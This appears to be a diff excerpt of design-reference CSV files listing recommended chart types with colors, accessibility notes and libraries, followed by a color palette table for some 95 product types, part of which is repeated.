5,Heatmap/Intensity,"heatmap, heat-map, intensity, density, matrix",Heat Map or Choropleth,"Grid Heat Map, Bubble Heat",Gradient: Cool (blue) to Hot (red). Scale: clear legend. Divergent for ±data,⚡ Excellent (color CSS),⚠ Colorblind: Use pattern overlay. Provide numerical legend.,"D3.js, Plotly, ApexCharts",Hover + Zoom
|
||||
6,Geographic Data,"geographic, map, location, region, geo, spatial","Choropleth Map, Bubble Map",Geographic Heat Map,Regional: single color gradient or categorized colors. Legend: clear scale,⚠ Moderate (rendering),⚠ Include text labels for regions. Provide data table alternative.,"D3.js, Mapbox, Leaflet",Pan + Zoom + Drill
|
||||
7,Funnel/Flow,funnel/flow,"Funnel Chart, Sankey",Waterfall (for flows),Stages: gradient (starting color → ending color). Show conversion %,⚡ Good,✓ Clear stage labels + percentages. Good for accessibility if labeled.,"D3.js, Recharts, Custom SVG",Hover + Drill
|
||||
8,Performance vs Target,performance-vs-target,Gauge Chart or Bullet Chart,"Dial, Thermometer",Performance: Red→Yellow→Green gradient. Target: marker line. Threshold colors,⚡ Good,✓ Add numerical value + percentage label beside gauge.,"D3.js, ApexCharts, Custom SVG",Hover
|
||||
9,Time-Series Forecast,time-series-forecast,Line with Confidence Band,Ribbon Chart,Actual: solid line #0080FF. Forecast: dashed #FF9500. Band: light shading,⚡ Good,✓ Clearly distinguish actual vs forecast. Add legend.,"Chart.js, ApexCharts, Plotly",Hover + Toggle
|
||||
10,Anomaly Detection,anomaly-detection,Line Chart with Highlights,Scatter with Alert,Normal: blue #0080FF. Anomaly: red #FF0000 circle/square marker + alert,⚡ Good,✓ Circle/marker for anomalies. Add text alert annotation.,"D3.js, Plotly, ApexCharts",Hover + Alert
|
||||
11,Hierarchical/Nested Data,hierarchical/nested-data,Treemap,"Sunburst, Nested Donut, Icicle",Parent: distinct hues. Children: lighter shades. White borders 2-3px.,⚠ Moderate,⚠ Poor - provide table alternative. Label large areas.,"D3.js, Recharts, ApexCharts",Hover + Drilldown
|
||||
12,Flow/Process Data,flow/process-data,Sankey Diagram,"Alluvial, Chord Diagram",Gradient from source to target. Opacity 0.4-0.6 for flows.,⚠ Moderate,⚠ Poor - provide flow table alternative.,"D3.js (d3-sankey), Plotly",Hover + Drilldown
|
||||
13,Cumulative Changes,cumulative-changes,Waterfall Chart,"Stacked Bar, Cascade",Increases: #4CAF50. Decreases: #F44336. Start: #2196F3. End: #0D47A1.,⚡ Good,✓ Good - clear directional colors with labels.,"ApexCharts, Highcharts, Plotly",Hover
|
||||
14,Multi-Variable Comparison,multi-variable-comparison,Radar/Spider Chart,"Parallel Coordinates, Grouped Bar",Single: #0080FF 20% fill. Multiple: distinct colors per dataset.,⚡ Good,⚠ Moderate - limit 5-8 axes. Add data table.,"Chart.js, Recharts, ApexCharts",Hover + Toggle
|
||||
15,Stock/Trading OHLC,stock/trading-ohlc,Candlestick Chart,"OHLC Bar, Heikin-Ashi",Bullish: #26A69A. Bearish: #EF5350. Volume: 40% opacity below.,⚡ Good,⚠ Moderate - provide OHLC data table.,"Lightweight Charts (TradingView), ApexCharts",Real-time + Hover + Zoom
|
||||
16,Relationship/Connection Data,relationship/connection-data,Network Graph,"Hierarchical Tree, Adjacency Matrix",Node types: categorical colors. Edges: #90A4AE 60% opacity.,❌ Poor (500+ nodes struggles),❌ Very Poor - provide adjacency list alternative.,"D3.js (d3-force), Vis.js, Cytoscape.js",Drilldown + Hover + Drag
|
||||
17,Distribution/Statistical,distribution/statistical,Box Plot,"Violin Plot, Beeswarm",Box: #BBDEFB. Border: #1976D2. Median: #D32F2F. Outliers: #F44336.,⚡ Excellent,"✓ Good - include stats table (min, Q1, median, Q3, max).","Plotly, D3.js, Chart.js (plugin)",Hover
|
||||
18,Performance vs Target (Compact),performance-vs-target-(compact),Bullet Chart,"Gauge, Progress Bar","Ranges: #FFCDD2, #FFF9C4, #C8E6C9. Performance: #1976D2. Target: black 3px.",⚡ Excellent,✓ Excellent - compact with clear values.,"D3.js, Plotly, Custom SVG",Hover
|
||||
19,Proportional/Percentage,proportional/percentage,Waffle Chart,"Pictogram, Stacked Bar 100%",10x10 grid. 3-5 categories max. 2-3px spacing between squares.,⚡ Good,✓ Good - better than pie for accessibility.,"D3.js, React-Waffle, Custom CSS Grid",Hover
|
||||
20,Hierarchical Proportional,hierarchical-proportional,Sunburst Chart,"Treemap, Icicle, Circle Packing",Center to outer: darker to lighter. 15-20% lighter per level.,⚠ Moderate,⚠ Poor - provide hierarchy table alternative.,"D3.js (d3-hierarchy), Recharts, ApexCharts",Drilldown + Hover
|
||||
21,Root Cause Analysis,"root cause, decomposition, tree, hierarchy, drill-down, ai-split",Decomposition Tree,"Decision Tree, Flow Chart",Nodes: #2563EB (Primary) vs #EF4444 (Negative impact). Connectors: Neutral grey.,⚠ Moderate (calculation heavy),✓ clear hierarchy. Allow keyboard navigation for nodes.,"Power BI (native), React-Flow, Custom D3.js",Drill + Expand
|
||||
22,3D Spatial Data,"3d, spatial, immersive, terrain, molecular, volumetric",3D Scatter/Surface Plot,"Volumetric Rendering, Point Cloud",Depth cues: lighting/shading. Z-axis: color gradient (cool to warm).,❌ Heavy (WebGL required),❌ Poor - requires alternative 2D view or data table.,"Three.js, Deck.gl, Plotly 3D",Rotate + Zoom + VR
|
||||
23,Real-Time Streaming,"streaming, real-time, ticker, live, velocity, pulse",Streaming Area Chart,"Ticker Tape, Moving Gauge",Current: Bright Pulse (#00FF00). History: Fading opacity. Grid: Dark.,⚡ Optimized (canvas/webgl),⚠ Flashing elements - provide pause button. High contrast.,Smoothed D3.js, CanvasJS, SciChart,Real-time + Pause
|
||||
24,Sentiment/Emotion,"sentiment, emotion, nlp, opinion, feeling",Word Cloud with Sentiment,"Sentiment Arc, Radar Chart",Positive: #22C55E. Negative: #EF4444. Neutral: #94A3B8. Size = Frequency.,⚡ Good,⚠ Word clouds poor for screen readers. Use list view.,"D3-cloud, Highcharts, Nivo",Hover + Filter
|
||||
25,Process Mining,"process, mining, variants, path, bottleneck, log",Process Map / Graph,"Directed Acyclic Graph (DAG), Petri Net",Happy path: #10B981 (Thick). Deviations: #F59E0B (Thin). Bottlenecks: #EF4444.,⚠ Moderate to Heavy,⚠ Complex graphs hard to navigate. Provide path summary.,"React-Flow, Cytoscape.js, Recharts",Drag + Node-Click
|
||||
|
@@ -1,97 +1,97 @@
|
||||
No,Product Type,Keywords,Primary (Hex),Secondary (Hex),CTA (Hex),Background (Hex),Text (Hex),Border (Hex),Notes
|
||||
1,SaaS (General),"saas, general",#2563EB,#3B82F6,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust blue + accent contrast
|
||||
2,Micro SaaS,"micro, saas",#2563EB,#3B82F6,#F97316,#F8FAFC,#1E293B,#E2E8F0,Vibrant primary + white space
|
||||
3,E-commerce,commerce,#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + success green
|
||||
4,E-commerce Luxury,"commerce, luxury",#1C1917,#44403C,#CA8A04,#FAFAF9,#0C0A09,#D6D3D1,Premium colors + minimal accent
|
||||
5,Service Landing Page,"service, landing, page",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + trust colors
|
||||
6,B2B Service,"b2b, service",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional blue + neutral grey
|
||||
7,Financial Dashboard,"financial, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark bg + red/green alerts + trust blue
|
||||
8,Analytics Dashboard,"analytics, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Cool→Hot gradients + neutral grey
|
||||
9,Healthcare App,"healthcare, app",#0891B2,#22D3EE,#059669,#ECFEFF,#164E63,#A5F3FC,Calm blue + health green + trust
|
||||
10,Educational App,"educational, app",#4F46E5,#818CF8,#F97316,#EEF2FF,#1E1B4B,#C7D2FE,Playful colors + clear hierarchy
|
||||
11,Creative Agency,"creative, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Bold primaries + artistic freedom
|
||||
12,Portfolio/Personal,"portfolio, personal",#18181B,#3F3F46,#2563EB,#FAFAFA,#09090B,#E4E4E7,Brand primary + artistic interpretation
|
||||
13,Gaming,gaming,#7C3AED,#A78BFA,#F43F5E,#0F0F23,#E2E8F0,#4C1D95,Vibrant + neon + immersive colors
|
||||
14,Government/Public Service,"government, public, service",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional blue + high contrast
|
||||
15,Fintech/Crypto,"fintech, crypto",#F59E0B,#FBBF24,#8B5CF6,#0F172A,#F8FAFC,#334155,Dark tech colors + trust + vibrant accents
|
||||
16,Social Media App,"social, media, app",#2563EB,#60A5FA,#F43F5E,#F8FAFC,#1E293B,#DBEAFE,Vibrant + engagement colors
|
||||
17,Productivity Tool,"productivity, tool",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clear hierarchy + functional colors
|
||||
18,Design System/Component Library,"design, system, component, library",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clear hierarchy + code-like structure
|
||||
19,AI/Chatbot Platform,"chatbot, platform",#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Neutral + AI Purple (#6366F1)
|
||||
20,NFT/Web3 Platform,"nft, web3, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Neon + Gold (#FFD700)
|
||||
21,Creator Economy Platform,"creator, economy, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Vibrant + Brand colors
|
||||
22,Sustainability/ESG Platform,"sustainability, esg, platform",#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Green (#228B22) + Earth tones
|
||||
23,Remote Work/Collaboration Tool,"remote, work, collaboration, tool",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Blue + Neutral grey
|
||||
24,Mental Health App,"mental, health, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Pastels + Trust colors
|
||||
25,Pet Tech App,"pet, tech, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Playful + Warm colors
|
||||
26,Smart Home/IoT Dashboard,"smart, home, iot, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Status indicator colors
|
||||
27,EV/Charging Ecosystem,"charging, ecosystem",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Electric Blue (#009CD1) + Green
|
||||
28,Subscription Box Service,"subscription, box, service",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand + Excitement colors
|
||||
29,Podcast Platform,"podcast, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Audio waveform accents
|
||||
30,Dating App,"dating, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm + Romantic (Pink/Red gradients)
|
||||
31,Micro-Credentials/Badges Platform,"micro, credentials, badges, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust Blue + Gold (#FFD700)
|
||||
32,Knowledge Base/Documentation,"knowledge, base, documentation",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clean hierarchy + minimal color
|
||||
33,Hyperlocal Services,"hyperlocal, services",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Location markers + Trust colors
|
||||
34,Beauty/Spa/Wellness Service,"beauty, spa, wellness, service",#10B981,#34D399,#8B5CF6,#ECFDF5,#064E3B,#A7F3D0,Soft pastels (Pink #FFB6C1 Sage #90EE90) + Cream + Gold accents
|
||||
35,Luxury/Premium Brand,"luxury, premium, brand",#1C1917,#44403C,#CA8A04,#FAFAF9,#0C0A09,#D6D3D1,Black + Gold (#FFD700) + White + Minimal accent
|
||||
36,Restaurant/Food Service,"restaurant, food, service",#DC2626,#F87171,#CA8A04,#FEF2F2,#450A0A,#FECACA,Warm colors (Orange Red Brown) + appetizing imagery
|
||||
37,Fitness/Gym App,"fitness, gym, app",#DC2626,#F87171,#16A34A,#FEF2F2,#1F2937,#FECACA,Energetic (Orange #FF6B35 Electric Blue) + Dark bg
|
||||
38,Real Estate/Property,"real, estate, property",#0F766E,#14B8A6,#0369A1,#F0FDFA,#134E4A,#99F6E4,Trust Blue (#0077B6) + Gold accents + White
|
||||
39,Travel/Tourism Agency,"travel, tourism, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Vibrant destination colors + Sky Blue + Warm accents
|
||||
40,Hotel/Hospitality,"hotel, hospitality",#1E3A8A,#3B82F6,#CA8A04,#F8FAFC,#1E40AF,#BFDBFE,Warm neutrals + Gold (#D4AF37) + Brand accent
|
||||
41,Wedding/Event Planning,"wedding, event, planning",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Soft Pink (#FFD6E0) + Gold + Cream + Sage
|
||||
42,Legal Services,"legal, services",#1E3A8A,#1E40AF,#B45309,#F8FAFC,#0F172A,#CBD5E1,Navy Blue (#1E3A5F) + Gold + White
|
||||
43,Insurance Platform,"insurance, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust Blue (#0066CC) + Green (security) + Neutral
|
||||
44,Banking/Traditional Finance,"banking, traditional, finance",#0F766E,#14B8A6,#0369A1,#F0FDFA,#134E4A,#99F6E4,Navy (#0A1628) + Trust Blue + Gold accents
|
||||
45,Online Course/E-learning,"online, course, learning",#0D9488,#2DD4BF,#EA580C,#F0FDFA,#134E4A,#5EEAD4,Vibrant learning colors + Progress green
|
||||
46,Non-profit/Charity,"non, profit, charity",#0891B2,#22D3EE,#F97316,#ECFEFF,#164E63,#A5F3FC,Cause-related colors + Trust + Warm
|
||||
47,Music Streaming,"music, streaming",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark (#121212) + Vibrant accents + Album art colors
|
||||
48,Video Streaming/OTT,"video, streaming, ott",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark bg + Content poster colors + Brand accent
|
||||
49,Job Board/Recruitment,"job, board, recruitment",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Success Green + Neutral
|
||||
50,Marketplace (P2P),"marketplace, p2p",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust colors + Category colors + Success green
|
||||
51,Logistics/Delivery,"logistics, delivery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Blue (#2563EB) + Orange (tracking) + Green (delivered)
|
||||
52,Agriculture/Farm Tech,"agriculture, farm, tech",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Earth Green (#4A7C23) + Brown + Sky Blue
|
||||
53,Construction/Architecture,"construction, architecture",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Grey (#4A4A4A) + Orange (safety) + Blueprint Blue
|
||||
54,Automotive/Car Dealership,"automotive, car, dealership",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand colors + Metallic accents + Dark/Light
|
||||
55,Photography Studio,"photography, studio",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Black + White + Minimal accent
|
||||
56,Coworking Space,"coworking, space",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Energetic colors + Wood tones + Brand accent
|
||||
57,Cleaning Service,"cleaning, service",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Fresh Blue (#00B4D8) + Clean White + Green
|
||||
58,Home Services (Plumber/Electrician),"home, services, plumber, electrician",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Trust Blue + Safety Orange + Professional grey
|
||||
59,Childcare/Daycare,"childcare, daycare",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Playful pastels + Safe colors + Warm accents
|
||||
60,Senior Care/Elderly,"senior, care, elderly",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Blue + Warm neutrals + Large text
|
||||
61,Medical Clinic,"medical, clinic",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Medical Blue (#0077B6) + Trust White + Calm Green
|
||||
62,Pharmacy/Drug Store,"pharmacy, drug, store",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Pharmacy Green + Trust Blue + Clean White
|
||||
63,Dental Practice,"dental, practice",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Fresh Blue + White + Smile Yellow accent
|
||||
64,Veterinary Clinic,"veterinary, clinic",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Caring Blue + Pet-friendly colors + Warm accents
|
||||
65,Florist/Plant Shop,"florist, plant, shop",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Natural Green + Floral pinks/purples + Earth tones
|
||||
66,Bakery/Cafe,"bakery, cafe",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm Brown + Cream + Appetizing accents
|
||||
67,Coffee Shop,"coffee, shop",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Coffee Brown (#6F4E37) + Cream + Warm accents
|
||||
68,Brewery/Winery,"brewery, winery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Deep amber/burgundy + Gold + Craft aesthetic
|
||||
69,Airline,airline,#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Sky Blue + Brand colors + Trust accents
|
||||
70,News/Media Platform,"news, media, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand colors + High contrast + Category colors
|
||||
71,Magazine/Blog,"magazine, blog",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Editorial colors + Brand primary + Clean white
|
||||
72,Freelancer Platform,"freelancer, platform",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Success Green + Neutral
|
||||
73,Consulting Firm,"consulting, firm",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Navy + Gold + Professional grey
|
||||
74,Marketing Agency,"marketing, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Bold brand colors + Creative freedom
|
||||
75,Event Management,"event, management",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Event theme colors + Excitement accents
|
||||
76,Conference/Webinar Platform,"conference, webinar, platform",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Video accent + Brand
|
||||
77,Membership/Community,"membership, community",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Community brand colors + Engagement accents
|
||||
78,Newsletter Platform,"newsletter, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + Clean white + CTA accent
|
||||
79,Digital Products/Downloads,"digital, products, downloads",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Product category colors + Brand + Success green
|
||||
80,Church/Religious Organization,"church, religious, organization",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm Gold + Deep Purple/Blue + White
|
||||
81,Sports Team/Club,"sports, team, club",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Team colors + Energetic accents
|
||||
82,Museum/Gallery,"museum, gallery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Art-appropriate neutrals + Exhibition accents
|
||||
83,Theater/Cinema,"theater, cinema",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Spotlight accents + Gold
|
||||
84,Language Learning App,"language, learning, app",#0D9488,#2DD4BF,#EA580C,#F0FDFA,#134E4A,#5EEAD4,Playful colors + Progress indicators + Country flags
|
||||
85,Coding Bootcamp,"coding, bootcamp",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Code editor colors + Brand + Success green
|
||||
86,Cybersecurity Platform,"cybersecurity, security, cyber, hacker",#00FF41,#0D0D0D,#00FF41,#000000,#E0E0E0,#1F1F1F,Matrix Green + Deep Black + Terminal feel
|
||||
87,Developer Tool / IDE,"developer, tool, ide, code, dev",#3B82F6,#1E293B,#2563EB,#0F172A,#F1F5F9,#334155,Dark syntax theme colors + Blue focus
|
||||
88,Biotech / Life Sciences,"biotech, science, biology, medical",#0EA5E9,#0284C7,#10B981,#F8FAFC,#0F172A,#E2E8F0,Sterile White + DNA Blue + Life Green
|
||||
89,Space Tech / Aerospace,"space, aerospace, tech, futuristic",#FFFFFF,#94A3B8,#3B82F6,#0B0B10,#F8FAFC,#1E293B,Deep Space Black + Star White + Metallic
|
||||
90,Architecture / Interior,"architecture, interior, design, luxury",#171717,#404040,#D4AF37,#FFFFFF,#171717,#E5E5E5,Monochrome + Gold Accent + High Imagery
|
||||
91,Quantum Computing,"quantum, qubit, tech",#00FFFF,#7B61FF,#FF00FF,#050510,#E0E0FF,#333344,Interference patterns + Neon + Deep Dark
|
||||
92,Biohacking / Longevity,"bio, health, science",#FF4D4D,#4D94FF,#00E676,#F5F5F7,#1C1C1E,#E5E5EA,Biological red/blue + Clinical white
|
||||
93,Autonomous Systems,"drone, robot, fleet",#00FF41,#008F11,#FF3333,#0D1117,#E6EDF3,#30363D,Terminal Green + Tactical Dark
|
||||
94,Generative AI Art,"art, gen-ai, creative",#111111,#333333,#FFFFFF,#FAFAFA,#000000,#E5E5E5,Canvas Neutral + High Contrast
|
||||
95,Spatial / Vision OS,"spatial, glass, vision",#FFFFFF,#E5E5E5,#007AFF,#888888,#000000,#FFFFFF,Glass opacity 20% + System Blue
|
||||
No,Product Type,Keywords,Primary (Hex),Secondary (Hex),CTA (Hex),Background (Hex),Text (Hex),Border (Hex),Notes
|
||||
1,SaaS (General),"saas, general",#2563EB,#3B82F6,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust blue + accent contrast
|
||||
2,Micro SaaS,"micro, saas",#2563EB,#3B82F6,#F97316,#F8FAFC,#1E293B,#E2E8F0,Vibrant primary + white space
|
||||
3,E-commerce,commerce,#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + success green
|
||||
4,E-commerce Luxury,"commerce, luxury",#1C1917,#44403C,#CA8A04,#FAFAF9,#0C0A09,#D6D3D1,Premium colors + minimal accent
|
||||
5,Service Landing Page,"service, landing, page",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + trust colors
|
||||
6,B2B Service,"b2b, service",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional blue + neutral grey
|
||||
7,Financial Dashboard,"financial, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark bg + red/green alerts + trust blue
|
||||
8,Analytics Dashboard,"analytics, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Cool→Hot gradients + neutral grey
|
||||
9,Healthcare App,"healthcare, app",#0891B2,#22D3EE,#059669,#ECFEFF,#164E63,#A5F3FC,Calm blue + health green + trust
|
||||
10,Educational App,"educational, app",#4F46E5,#818CF8,#F97316,#EEF2FF,#1E1B4B,#C7D2FE,Playful colors + clear hierarchy
|
||||
11,Creative Agency,"creative, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Bold primaries + artistic freedom
|
||||
12,Portfolio/Personal,"portfolio, personal",#18181B,#3F3F46,#2563EB,#FAFAFA,#09090B,#E4E4E7,Brand primary + artistic interpretation
|
||||
13,Gaming,gaming,#7C3AED,#A78BFA,#F43F5E,#0F0F23,#E2E8F0,#4C1D95,Vibrant + neon + immersive colors
|
||||
14,Government/Public Service,"government, public, service",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional blue + high contrast
|
||||
15,Fintech/Crypto,"fintech, crypto",#F59E0B,#FBBF24,#8B5CF6,#0F172A,#F8FAFC,#334155,Dark tech colors + trust + vibrant accents
|
||||
16,Social Media App,"social, media, app",#2563EB,#60A5FA,#F43F5E,#F8FAFC,#1E293B,#DBEAFE,Vibrant + engagement colors
|
||||
17,Productivity Tool,"productivity, tool",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clear hierarchy + functional colors
|
||||
18,Design System/Component Library,"design, system, component, library",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clear hierarchy + code-like structure
|
||||
19,AI/Chatbot Platform,"chatbot, platform",#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Neutral + AI Purple (#6366F1)
|
||||
20,NFT/Web3 Platform,"nft, web3, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Neon + Gold (#FFD700)
|
||||
21,Creator Economy Platform,"creator, economy, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Vibrant + Brand colors
|
||||
22,Sustainability/ESG Platform,"sustainability, esg, platform",#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Green (#228B22) + Earth tones
|
||||
23,Remote Work/Collaboration Tool,"remote, work, collaboration, tool",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Blue + Neutral grey
|
||||
24,Mental Health App,"mental, health, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Pastels + Trust colors
|
||||
25,Pet Tech App,"pet, tech, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Playful + Warm colors
|
||||
26,Smart Home/IoT Dashboard,"smart, home, iot, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Status indicator colors
|
||||
27,EV/Charging Ecosystem,"charging, ecosystem",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Electric Blue (#009CD1) + Green
|
||||
28,Subscription Box Service,"subscription, box, service",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand + Excitement colors
|
||||
29,Podcast Platform,"podcast, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Audio waveform accents
|
||||
30,Dating App,"dating, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm + Romantic (Pink/Red gradients)
|
||||
31,Micro-Credentials/Badges Platform,"micro, credentials, badges, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust Blue + Gold (#FFD700)
|
||||
32,Knowledge Base/Documentation,"knowledge, base, documentation",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clean hierarchy + minimal color
|
||||
33,Hyperlocal Services,"hyperlocal, services",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Location markers + Trust colors
|
||||
34,Beauty/Spa/Wellness Service,"beauty, spa, wellness, service",#10B981,#34D399,#8B5CF6,#ECFDF5,#064E3B,#A7F3D0,Soft pastels (Pink #FFB6C1 Sage #90EE90) + Cream + Gold accents
|
||||
35,Luxury/Premium Brand,"luxury, premium, brand",#1C1917,#44403C,#CA8A04,#FAFAF9,#0C0A09,#D6D3D1,Black + Gold (#FFD700) + White + Minimal accent
|
||||
36,Restaurant/Food Service,"restaurant, food, service",#DC2626,#F87171,#CA8A04,#FEF2F2,#450A0A,#FECACA,Warm colors (Orange Red Brown) + appetizing imagery
|
||||
37,Fitness/Gym App,"fitness, gym, app",#DC2626,#F87171,#16A34A,#FEF2F2,#1F2937,#FECACA,Energetic (Orange #FF6B35 Electric Blue) + Dark bg
|
||||
38,Real Estate/Property,"real, estate, property",#0F766E,#14B8A6,#0369A1,#F0FDFA,#134E4A,#99F6E4,Trust Blue (#0077B6) + Gold accents + White
|
||||
39,Travel/Tourism Agency,"travel, tourism, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Vibrant destination colors + Sky Blue + Warm accents
|
||||
40,Hotel/Hospitality,"hotel, hospitality",#1E3A8A,#3B82F6,#CA8A04,#F8FAFC,#1E40AF,#BFDBFE,Warm neutrals + Gold (#D4AF37) + Brand accent
|
||||
41,Wedding/Event Planning,"wedding, event, planning",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Soft Pink (#FFD6E0) + Gold + Cream + Sage
|
||||
42,Legal Services,"legal, services",#1E3A8A,#1E40AF,#B45309,#F8FAFC,#0F172A,#CBD5E1,Navy Blue (#1E3A5F) + Gold + White
|
||||
43,Insurance Platform,"insurance, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust Blue (#0066CC) + Green (security) + Neutral
|
||||
44,Banking/Traditional Finance,"banking, traditional, finance",#0F766E,#14B8A6,#0369A1,#F0FDFA,#134E4A,#99F6E4,Navy (#0A1628) + Trust Blue + Gold accents
|
||||
